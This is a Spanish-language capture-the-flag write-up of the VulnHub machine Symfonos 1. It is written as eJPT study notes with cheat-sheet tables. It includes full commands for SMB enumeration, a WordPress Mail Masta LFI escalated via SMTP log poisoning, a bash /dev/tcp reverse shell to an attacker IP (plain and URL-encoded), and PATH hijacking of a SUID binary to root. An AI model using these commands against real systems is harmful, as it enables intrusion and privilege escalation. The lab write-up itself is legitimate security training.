VulnHub - Symphonos 1 (wirte-up)
Resumen Ejecutivo (Executive Summary)
Symphonos 1 es una máquina de dificultad Easy-Media diseñada para poner a prueba la capacidad de enumeración multifactor y el encadenamiento de vulnerabilidades. El compromiso total del sistema se logró mediante un ataque en tres etapas:
Exfiltración de Información (Fase de Reconocimiento): Descubrimiento de credenciales en texto plano a través de servicios SMB mal configurados con acceso anónimo.
Explotación Web y RCE (Fase de Acceso Inicial): Identificación de un vector LFI (Local File Inclusion) en un plugin de WordPress, el cual fue escalado a una ejecución remota de comandos (RCE) mediante la técnica de Log Poisoning a través del servicio SMTP.
Escalada de Privilegios (Fase de Post-Explotación): Abuso de un binario SUID personalizado (
statuscheck) mediante el secuestro de la variable de entorno PATH (Path Hijacking), logrando control total (root) sobre el activo.
Matriz de Severidad
| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Fuga de credenciales en SMB | Alta | Divulgación de contraseñas de usuarios locales. |
| LFI en WordPress (Mail Masta) | Crítica | Lectura de archivos críticos y escalada a RCE. |
| Secuestro de PATH (SUID Binary) | Crítica | Elevación de privilegios a superusuario (root). |
Análisis Técnico Profundo (Addendum)
Para darle ese toque senior a tu reporte, te sugiero añadir estas breves explicaciones entre tus bloques de código actuales:
Sobre el SMTP Poisoning:
Nota técnica: El ataque de Log Poisoning fue posible porque el servidor SMTP guarda los logs de correo en
/var/mail/helios. Al inyectar código PHP en el campoDATAdel protocolo SMTP, el intérprete de PHP procesa el archivo de log a través del LFI, permitiendo el paso de comandos mediante el parámetrocmden la URL.
Sobre el Path Hijacking en /opt/statuscheck:
Análisis de Binario: Al analizar el binario con el comando
strings, se identificó que el programa llama a la utilidadcurlde forma relativa (system("curl...")) en lugar de usar su ruta absoluta (/usr/bin/curl). Esto permite la intercepción del flujo de ejecución al manipular el$PATHdel sistema, una vulnerabilidad común en binarios SUID desarrollados de forma interna.
Reconocimiento
Nmap - Iniciando reconocimiento en 10.0.2.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ sudo nmap -p- --open --min-rate=5000 -sS -v -Pn -n 10.0.2.3
Scanning 10.0.2.3 [1 port]
Completed ARP Ping Scan at 15:57, 0.03s elapsed (1 total hosts)
Discovered open port 80/tcp on 10.0.2.3
Discovered open port 445/tcp on 10.0.2.3
Discovered open port 139/tcp on 10.0.2.3
Discovered open port 22/tcp on 10.0.2.3
Discovered open port 25/tcp on 10.0.2.3
Completed SYN Stealth Scan at 15:58, 29.39s elapsed (65535 total ports)
Nmap scan report for 10.0.2.3
Host is up (0.00061s latency).
Not shown: 38243 closed tcp ports (reset), 27287 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:21:A3:BB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.51 seconds
Raw packets sent: 99065 (4.359MB) | Rcvd: 38321 (1.547MB)
| Categoría | Comando | Objetivo | | ———————– | ——————————————————————————————————————— | ——————————————————————— | | Básico | nmap <IP> | Escaneo rápido de los 1000 puertos más comunes. | | Completo | nmap -p- --open --min-rate=5000 -sS -v -Pn -n 192.168.0.21 -oX nmap.xml<br> -> xsltproc nmap.xml -o nmap.html | Escanea todos (65,535) los puertos de forma ultra rápida. | | Servicios y puertos | nmap -sC -sV -p<puertos> <IP> | Ejecuta scripts por defecto y detecta versiones de servicios. | | UDP | nmap -sU --top-ports 100 <IP> | Escanea los puertos UDP más comunes (lento, pero necesario). | | Vulnerabilidades | nmap --script vuln -p<puertos> <IP> | Busca CVEs y fallos conocidos en los servicios detectados. | | Agresivo | nmap -A <IP> | Combina detección de OS, versiones, scripts y traceroute. |
Nikto: Escáner de Servidores Web
No se represento mas que algunas rutas como: /manual/ /manual/images/
| Acción | Comando | Objetivo | | ———————- | —————————— | ————————————————————- | | Escaneo Básico | nikto -h <IP> | Escaneo estándar al puerto 80. | | Puerto Específico | nikto -h <IP> -p <puerto> | Escanea un puerto distinto (ej. 8080 o 443). | | Escaneo con SSL | nikto -h <URL> -ssl | Fuerza el uso de HTTPS. | | Guardar Resultados | nikto -h <IP> -o scan.txt | Guarda el reporte en un archivo de texto. | | Escaneo con Túnel | nikto -h <IP> -root /h3l105/ | Escanea un directorio específico (muy útil para tu caso). | | Ignorar 404 Falsos | nikto -h <IP> -no404 | Útil si el servidor responde con 200 OK a todo. |
Enumerando sub directorios
1
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.2.3:80/ -x jsp,html,xml,war,txt,sh,php -t 50 -r
Luego de realizar un scaneo con la herramienta gobuster se pudo encontrar un subdirectorio /manual el cual muestra informacion: Apache server 2.4
Enumerando SMB
SMBClient: Interacción y Descarga
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
smbclient -L //10.0.2.3/ -N #-N es para una Null session
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP SYMFONOS
└─$ smbclient //10.0.2.3/anonymous -N
Try "help" to get a list of possible commands.
smb: /> dir
attention.txt N 154 Sat Jun 29 03:14:49 smb: /> get attention.txt
prompt # <--- Para descargar
mget * #<---- para descargar todo
----
cat attention.txt
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus
| Acción | Comando | Nota |
|---|---|---|
| Listar recursos (Anónimo) | smbclient -L //10.0.2.3/ -N | -N significa “No password” (Null Session). |
| Listar recursos (Con usuario) | smbclient -L //10.0.2.3/ -U helios | Te pedirá la contraseña interactivamente. |
| Conectar a un Share | smbclient //10.0.2.3/helios -U helios%password | Formato rápido: usuario%contraseña. |
#### CrackMapExec (CME) / NetExec (NXC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ crackmapexec smb 10.0.2.3 -u '' -p '' --shares --users
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing WINRM protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.0.2.3 445 SYMFONOS [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB 10.0.2.3 445 SYMFONOS [+] /:
SMB 10.0.2.3 445 SYMFONOS [+] Enumerated shares
SMB 10.0.2.3 445 SYMFONOS Share Permissions Remark
SMB 10.0.2.3 445 SYMFONOS ----- ----------- ------
SMB 10.0.2.3 445 SYMFONOS print$ Printer Drivers
SMB 10.0.2.3 445 SYMFONOS helios Helios personal share
SMB 10.0.2.3 445 SYMFONOS anonymous READ
SMB 10.0.2.3 445 SYMFONOS IPC$ IPC Service (Samba 4.5.16-Debian)
| Acción | Comando | Nota |
|---|---|---|
| Fuerza Bruta (User + Passlist) | crackmapexec smb <IP> -u <user> -p <passlist.txt> | Prueba todas las claves para un usuario. |
| Spray de Usuarios (Userlist + Pass) | crackmapexec smb <IP> -u <userlist.txt> -p <password> | Prueba una clave contra muchos usuarios. |
| Listar Shares (Recursos) | crackmapexec smb <IP> -u <user> -p <pass> --shares | Muestra a qué carpetas tienes acceso. |
| Listar Discos/Archivos | crackmapexec smb <IP> -u <user> -p <pass> --disk | Enumera el contenido de los discos. |
| Probar “Null Session” | crackmapexec smb <IP> -u '' -p '' | Intenta entrar sin usuario ni clave. |
| Continuar si falla | crackmapexec smb <IP> ... --continue-on-success | No se detiene al encontrar la primera clave válida. |
SMBMap: Referencia Rápida
1
2
3
4
5
6
7
8
└─$ smbmap -H 10.0.2.3 -u helios -p qwerty
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.0.2.3:445 Name: 10.0.2.3 Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
helios READ ONLY Helios personal share
anonymous READ ONLY
| Acción | Comando |
|---|---|
| Escaneo Anónimo | smbmap -H <IP> |
| Usuario específico (Sin clave) | smbmap -H <IP> -u <usuario> |
| Usuario con contraseña | smbmap -H <IP> -u <usuario> -p <password> |
| Listar archivos recursivamente | smbmap -H <IP> -u <usuario> -p <password> -R |
| Descargar un archivo | smbmap -H <IP> -u <usuario> -p <password> --download "ruta/al/archivo" |
| Subir un archivo | smbmap -H <IP> -u <usuario> -p <password> --upload <local_file> <remote_path> |
Enum4linux: Comandos Imprescindibles - enum4linux 10.0.2.3
Se enumera bastante informacion , entre ellos usuarios como “helios “
| Comando | Acción | Por qué es útil en el eJPT |
|---|---|---|
enum4linux -a <IP> | Modo “Full” | Intenta todo (usuarios, shares, grupos). Es el que usarás el 99% de las veces. |
enum4linux -U <IP> | Listar Usuarios | Si solo te interesan los nombres de usuario para armar tu lista de ataque. |
enum4linux -S <IP> | Listar Shares | Para ver rápidamente si hay carpetas con acceso anónimo (Mapping: OK). |
enum4linux -P <IP> | Política de Pass | Te dice si hay bloqueo de cuenta tras 3 intentos (¡crucial antes de hacer fuerza bruta!). |
enum4linux -G <IP> | Grupos | Para identificar quién es el Administrador del sistema. |
enum4linux -n <IP> | Nombres NetBIOS | Te da el nombre de la máquina y del dominio/grupo de trabajo. |
Acceso a SMB como Helios
1
2
3
4
5
6
7
8
9
10
11
└─$ smbclient //10.0.2.3/helios -U helios
Password for [WORKGROUP/helios]:
Try "help" to get a list of possible commands.
smb: /> dir
research.txt A 432 Sat Jun 29 02:32:05
todo.txt A 52 Sat Jun 29 02:32:05
19994224 blocks of size 1024. 17156840 blocks available
smb: /> get research.txt
getting file /research.txt of size 432 as research.txt (70,3 KiloBytes/sec) (average 70,3 KiloBytes/sec)
smb: /> get todo.txt
getting file /todo.txt of size 52 as todo.txt (4,2 KiloBytes/sec) (average 26,3 KiloBytes/sec)
Descarga “todo” y “research”
1
2
3
4
5
6
7
8
9
└─$ cat todo.txt
1. Binge watch Dexter
2. Dance
3. Work on /h3l105 # <---------
└─$ cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
http://10.0.2.3/h3l105/ al parecer intenta cargar un wordpress y lo hace de mala manera por que no esta finalizado el proyecto.
WPScan: El Escáner de WordPress
1
wpscan --url http://10.0.2.3/h3l105/ --enumerate vp,vt,u
| Acción | Comando | Objetivo |
|---|---|---|
| Escaneo Básico | wpscan --url <URL> | Detección de versión, servidor y temas básicos. |
| Enumerar Usuarios | wpscan --url <URL> -e u | Extrae los nombres de usuario (ej. helios). |
| Plugins Vulnerables | wpscan --url <URL> -e vp | El más importante. Busca fallos en los plugins instalados. |
| Detección Agresiva | wpscan --url <URL> -e ap --plugins-detection aggressive | Busca plugins que no saltan a simple vista (como Mail Masta). |
| Fuerza Bruta | wpscan --url <URL> -U <user> -P <passlist.txt> | Intenta entrar al panel /wp-login.php. |
| Usar API Token | wpscan --url <URL> --api-token <TU_TOKEN> | Muestra información de vulnerabilidades (CVE) detallada. |
Wordpress 5.2.2 [+] XML-RPC seems to be enabled: http://10.0.2.3/h3l105/xmlrpc.php
[+] WordPress readme found: http://10.0.2.3/h3l105/readme.html [+] Upload directory has listing enabled: http://10.0.2.3/h3l105/wp-content/uploads/ [+] The external WP-Cron seems to be enabled: http://10.0.2.3/h3l105/wp-cron.php [+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
Debido a qu eno me represento los plugins lo forze con el siguient ecomando. └─$ wpscan --url http://10.0.2.3/h3l105/ -e ap --plugins-detection aggressive [+] akismet | Location: http://10.0.2.3/h3l105/wp-content/plugins/akismet/ [+] mail-masta | Location: http://10.0.2.3/h3l105/wp-content/plugins/mail-masta/
Searchsploit: Buscador de Exploits (mailmasta)
![[Pasted image 20260131121119.png]] Descargando
1
2
3
4
5
6
7
8
└─$ searchsploit -m 40290.txt
Exploit: WordPress Plugin Mail Masta 1.0 - SQL Injection
URL: https://www.exploit-db.com/exploits/40290
Path: /usr/share/exploitdb/exploits/php/webapps/40290.txt
Codes: CVE-2017-6098, CVE-2017-6097, CVE-2017-6096, CVE-2017-6095
Verified: False
File Type: ASCII text
Copied to: /home/kali/Estudios/eJPT/exploit/40290.txt
Se encontro en este txt el contenido para explotar un LFI
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
| Acción | Comando | Objetivo | | ——————– | ———————————– | —————————————————– | | Búsqueda Básica | searchsploit wordpress mail-masta | Busca exploits por nombre de software o plugin. | | Búsqueda Exacta | searchsploit -t wordpress 5.2.2 | Busca términos específicamente en el título. | | Copiar Exploit | searchsploit -m 50226 | Copia el archivo del exploit a tu carpeta actual. | | Ver Código (cat) | searchsploit -p 50226 | Muestra la ruta completa y el contenido del exploit. | | Búsqueda por CVE | searchsploit CVE-2021-44228 | Busca exploits usando el código de vulnerabilidad. | | Actualizar Base | searchsploit -u | Actualiza la base de datos local (requiere internet). |
![[Pasted image 20260131124504.png|600]]
Pasar a RCE mediante SMTP y un poison de php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nc 10.0.2.3 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
HELO kali
MAIL FROM: <test@kali.com>
RCPT TO: helios
DATA
<?ph sis(_GET['']); ?> ## ESTE COMANDO ESTA INCOMPLETO
.
QUIT250 symfonos.localdomain
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as A515340BA1
221 2.0.0 Bye
1
2
3
4
5
6
7
8
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd= whoami
1- sudo nc -nlvp 443
##COMANDO A USAR PERO URL ENCODEAR
bash -i >& /dev/tcp/10.0.2.7/443 0>&1 <----- MI IP
#Reverse shell
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash+-c+%22bash+-i+%3E%26+/dev/tcp/10.0.2.7/443+0%3E%261%22
Tratamiento de la TTY (Shell Interactiva)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
script /dev/null -c bash
# control + z
stty raw -echo; fg
reset #(Enter)
xterm #(Enter)
export TERM=xterm
o
export TERM=xterm-256color
export SHELL=bash
Acceso a la maquina y escalando privilegios.
Enumerando
Enumerando /wp-config.php
1
2
3
cat /var/www/html/h3l105/wp-config.php | grep -E "DB_USER|DB_PASSWORD"
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', 'password123' );
Enumerando /permisos suid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
helios@symfonos:/tmp$ find / -perm -4000 -user root 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck # <---------------------
/bin/mount
/bin/umount
/bin/su
/bin/ping
En este output se puede ver un /opt/statuscheck/ que el mismo con el comando strings se puede ver que hace una peticion curl sin utilizar una ruta absoluta.
1
2
3
4
5
6
7
8
9
10
helios@symfonos:/tmp$ cd /tmp
helios@symfonos:/tmp$ echo "/bin/sh" > curl
helios@symfonos:/tmp$ chmod 777 curl
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ /opt/statuscheck
# whoami
root
#
Conclusión y Recomendaciones (Mitigación)
Para remediar las debilidades identificadas en este activo, se recomiendan las siguientes acciones:
Hardening de SMB: Deshabilitar el acceso anónimo y las sesiones nulas (Null Sessions). Aplicar el principio de menor privilegio a las carpetas compartidas.
Seguridad Web: Actualizar o eliminar plugins vulnerables de WordPress. Implementar funciones de saneamiento de entrada para prevenir ataques de inclusión de archivos.
Desarrollo Seguro: En la creación de binarios SUID, utilizar siempre rutas absolutas para las llamadas al sistema y evitar el uso de funciones vulnerables a manipulación de entorno.
